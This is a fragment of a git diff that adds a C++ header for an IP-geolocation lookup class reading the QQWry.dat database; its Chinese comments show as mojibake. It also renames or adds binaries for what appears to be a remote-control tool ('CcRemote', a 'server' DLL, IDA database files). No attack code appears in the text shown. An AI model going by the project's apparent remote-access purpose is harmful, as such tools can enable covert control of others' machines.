+ BYTE buf[MAXBUF]; + BYTE bMode; + int offset1; + int offset2; +}EndInfo,PEndInfo; + +typedef struct _tagIPOFF +{ + BYTE b0; + BYTE b1; + BYTE b2; + BYTE b3; + BYTE off1; + BYTE off2; + BYTE off3; +}IPOFF,*PIPOFF; + +typedef struct _tagBE +{ + int uBOff; + int uEOff; +}BE,*PBE; + +class SEU_QQwry +{ +public://��ͨ�û��ӿں��� + void SetPath(CString path);//����QQWry.dat��·�� + CString IPtoAdd(CString szIP);//������IP,����IP��Ӧ�ĵ�ַ + void SaveToFile(CString Name);//��QQWry.dat�ļ������ݵ���Ϊָ�����ļ� + +public://���û����� + DWORD m_dwLastIP; + CString GetCountryLocal(int index); + DWORD GetSIP(int index); + DWORD IPtoDWORD(CString szIP); + int GetIndex(CString szIP); + CString GetStr(void); + CString GetCountryLocal(BYTE bMode,int ioffset); + CString GetStr(int ioffset); + int GetRecordCount(void); + int m_i; + int GetStartIPInfo(int iIndex); + CString m_buf; + bool GetBE(void); + bool OpenQQwry(CString szFileName);//��QQwry���ݿ� + void CloseQQwry(void);//�ر�QQwry���ݿ� + BE m_be; + IPOFF m_ipoff; + EndInfo m_ei; + SEU_QQwry(); + virtual ~SEU_QQwry(); +private: + bool m_bOpen; + CFile m_file; +}; + +#endif // !defined(AFX_SEU_QQWRY_H) diff --git a/CcRemote/Release/CcRemote.exe b/bin/CcRemote.exe similarity index 57% rename from CcRemote/Release/CcRemote.exe rename to bin/CcRemote.exe index 7bf9e4f..2410093 100644 Binary files a/CcRemote/Release/CcRemote.exe and b/bin/CcRemote.exe differ diff --git a/bin/QQwry.dat b/bin/QQwry.dat new file mode 100644 index 0000000..20538c9 Binary files /dev/null and b/bin/QQwry.dat differ diff --git a/bin/server/CcMainDll.id2 b/bin/server/CcMainDll.id2 new file mode 100644 index 0000000..5402ad0 Binary files /dev/null and b/bin/server/CcMainDll.id2 differ diff --git a/CcMainDll/bin/server/CcMainDll.lib b/bin/server/CcMainDll.lib similarity index 77% rename from CcMainDll/bin/server/CcMainDll.lib rename to bin/server/CcMainDll.lib index 2032dd2..d5faaf6 100644 Binary files a/CcMainDll/bin/server/CcMainDll.lib and b/bin/server/CcMainDll.lib differ diff --git a/bin/server/CcMainDll.til b/bin/server/CcMainDll.til new file mode 100644 index 0000000..ef911c8 Binary files /dev/null and b/bin/server/CcMainDll.til differ diff --git a/CcMainDll/bin/server/TestLoadDll.exe b/bin/server/TestLoadDll.exe similarity index 94% rename from CcMainDll/bin/server/TestLoadDll.exe rename to bin/server/TestLoadDll.exe index 8970ccc..ff5bd21 100644 Binary files a/CcMainDll/bin/server/TestLoadDll.exe and b/bin/server/TestLoadDll.exe differ